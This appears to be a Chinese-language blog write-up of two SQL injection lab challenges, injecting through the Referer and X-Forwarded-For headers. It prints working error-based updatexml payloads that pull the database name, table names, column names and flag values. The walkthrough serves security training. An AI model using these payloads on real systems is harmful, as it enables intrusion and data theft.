SQL注入-Header注入-2

举报
xcc-2022 发表于 2023/02/24 21:49:50 2023/02/24
【摘要】 靶场演示二第二题和第一题区别在于页面获取的信息不一样,第二题是获取Referer信息,这里只要将注入点改成Referer就行了(于第一题类似,就不截图了)输入' or 1=1 --1 发现网页使用了正则过滤,不能通过闭合方式注入;查看源码发现可以通过万能密码绕过,这样获得了用户密码;通过刚刚查看源码不难发现网页会记录Referer的数据,通过insert语句插到数据库中image1. 判断闭...

靶场演示二

第二题和第一题区别在于页面获取的信息不一样,第二题是获取Referer信息,这里只要将注入点改成Referer就行了(于第一题类似,就不截图了)
输入' or 1=1 --1 发现网页使用了正则过滤,不能通过闭合方式注入;

查看源码发现可以通过万能密码绕过,这样获得了用户密码;

通过刚刚查看源码不难发现网页会记录Referer的数据,通过insert语句插到数据库中


image
1. 判断闭合符

根据源码,不难发现记录Referer的内容是通过单引号闭合的

2. 判断注入点

注入点就是http请求头Referer

3. 猜测字段数

利用burpsuite抓包工具构建Referer1','2') -- q 页面没有报错,确认插入Referer值在表格第二字段

4. 查询库名

updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

结合代码将语句修改为 'or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- q
得出库名为:head_error

4. 查询表名

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x7e),1),'2') — q
多次更改limit数值得到lag_head,ip,refer,uagent,user这五个表,选择flag_head表

5.查询字段名

and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’flag_head’ limit 0,1) ,0x7e),1),'2') -- q
多次更改limit数值得到该表字段有id,flag_h1两个

6.查询内容

'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 1,1),0x7e),1),'2') -- q


image

image

得到flag为:zKaQ-Refer


image

靶场演示三

第三题和第一题区别在于页面获取的信息不一样,第三题是获取IP信息,这里只要自行添加一个 X-Forwarded-For 请求头就好了(于第一题类似,就不截图了)
输入' or 1=1 --1 发现网页使用了正则过滤,不能通过闭合方式注入;

查看源码发现可以通过万能密码绕过,这样获得了用户密码;

通过刚刚查看源码不难发现网页会记录X-Forwarded-For的数据,通过insert语句插到数据库中


image
1. 判断闭合符

根据源码,不难发现记录X-Forwarded-For的内容是通过单引号闭合的

2. 判断注入点

注入点就是http请求头X-Forwarded-For

3. 猜测字段数

利用burpsuite抓包工具构建X-Forwarded-For: 1','2') -- q 页面没有报错,确认插入X-Forwarded-For值在表格第二字段

4. 查询库名

updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
构建语句
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

结合代码将语句修改为 X-Forwarded-For: 'or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),'2') -- q
得出库名为:head_error

4. 查询表名

X-Forwarded-For: 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,0x7e),1),'2') — q
多次更改limit数值得到lag_head,ip,refer,uagent,user这五个表,选择flag_head表

5.查询字段名

X-Forwarded-For: 'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’flag_head’ limit 0,1) ,0x7e),1),'2') -- q
多次更改limit数值得到该表字段有id,flag_h1两个

6.查询内容

X-Forwarded-For: 'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 2,1),0x7e),1),'2') -- q


image

image

得到flag为:zKaQ-ipip





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。